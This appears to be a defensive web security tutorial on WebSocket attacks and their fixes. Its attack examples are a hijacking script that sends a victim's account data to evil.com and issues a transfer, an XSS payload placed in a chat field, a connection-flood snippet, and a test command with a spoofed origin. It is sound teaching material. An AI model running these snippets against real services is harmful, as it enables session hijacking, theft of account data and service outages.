Key Takeaways

  • WebSockets bypass Same-Origin Policy for connections—only handshake checks origin.
  • CSWSH (Cross-Site WebSocket Hijacking) is like CSRF for WebSockets.
  • Session tokens in WebSocket messages can be intercepted.
  • Always validate Origin header and use wss:// (TLS).

WebSockets power real-time features like chat, gaming, and live updates. Unlike HTTP, connections stay open—and so do security holes. If you're not validating properly, attackers can hijack sessions and inject messages.

How WebSockets Work

WebSockets upgrade HTTP connections to persistent, bidirectional channels:

# Initial HTTP Upgrade Request
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://example.com

# Server Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

After the handshake, both sides can send messages freely—no more HTTP request/response cycles.

Attack #1: Cross-Site WebSocket Hijacking (CSWSH)

The most critical WebSocket vulnerability. If the server doesn't validate the Origin header, any website can connect:

// Malicious page hosted on evil.com
<script>
  // Connect to victim's WebSocket server
  const ws = new WebSocket('wss://bank.com/account');
  
  // Victim's cookies are automatically sent!
  ws.onmessage = (event) => {
    // Attacker receives all account data
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: event.data  // Balance, transactions, etc.
    });
  };
  
  // Attacker can also send commands
  ws.onopen = () => {
    ws.send(JSON.stringify({action: 'transfer', amount: 10000, to: 'attacker'}));
  };
</script>
Why This Works

Browsers automatically include cookies with WebSocket connections. If the server trusts cookies alone without checking Origin, attackers get full access to the authenticated session.

Defense: Validate Origin

// Node.js WebSocket Server
const wss = new WebSocket.Server({ server });

wss.on('connection', (ws, req) => {
  const origin = req.headers.origin;
  
  // Whitelist allowed origins
  const allowedOrigins = ['https://myapp.com', 'https://admin.myapp.com'];
  
  if (!allowedOrigins.includes(origin)) {
    ws.close(1008, 'Origin not allowed');
    return;
  }
  
  // Additional: Validate session token in first message
  ws.once('message', (token) => {
    if (!validateSessionToken(token)) {
      ws.close(1008, 'Invalid session');
    }
  });
});

Attack #2: Message Injection

WebSocket messages aren't automatically sanitized. If you render them as HTML:

// Vulnerable chat application
ws.onmessage = (event) => {
  const msg = JSON.parse(event.data);
  // DANGEROUS: Directly inserting user content
  chatBox.innerHTML += `<div>${msg.username}: ${msg.text}</div>`;
};

// Attacker sends:
ws.send(JSON.stringify({
  username: '<script>stealCookies()</script>',
  text: 'Hi!'
}));

Defense: Always Sanitize

// Safe rendering
ws.onmessage = (event) => {
  const msg = JSON.parse(event.data);
  const div = document.createElement('div');
  div.textContent = `${msg.username}: ${msg.text}`;  // textContent escapes HTML
  chatBox.appendChild(div);
};

Attack #3: Denial of Service

WebSockets don't have built-in rate limiting:

// Flood the server
const connections = [];
for (let i = 0; i < 10000; i++) {
  connections.push(new WebSocket('wss://target.com/socket'));
}

// Or send massive messages
ws.send('A'.repeat(100_000_000));  // 100MB message

Defense Strategies

Attack #4: Man-in-the-Middle

Using ws:// instead of wss:// exposes all traffic:

ProtocolEncryptionSecurity
ws://None❌ Attackers can intercept/modify messages
wss://TLS✅ Encrypted, authenticated

Security Checklist

Do
  • Always use wss:// (TLS)
  • Validate Origin header strictly
  • Authenticate in first message
  • Sanitize all received data
  • Implement rate limiting
  • Set message size limits
Don't
  • Trust cookies alone
  • Use ws:// for sensitive data
  • Render messages as raw HTML
  • Allow unlimited connections
  • Skip input validation

Testing WebSocket Security

# Using websocat for testing
websocat -H "Origin: https://evil.com" wss://target.com/socket

# Burp Suite: Intercept WebSocket messages
# Enable "Intercept WebSocket messages" in Proxy settings

# OWASP ZAP: WebSocket fuzzing
# Use WebSocket tab to send malformed data

Frequently Asked Questions

Are WebSockets affected by CORS?
No! WebSockets bypass CORS entirely. The browser doesn't enforce same-origin for WebSocket connections—only the server can check the Origin header. This is why CSWSH is so dangerous.
Should I use WebSockets or Server-Sent Events?
If you only need server→client updates, SSE is simpler and follows HTTP security. WebSockets are needed for bidirectional real-time communication (games, chat, collaboration).

Master all web attack vectors.
Read XSS Attack Guide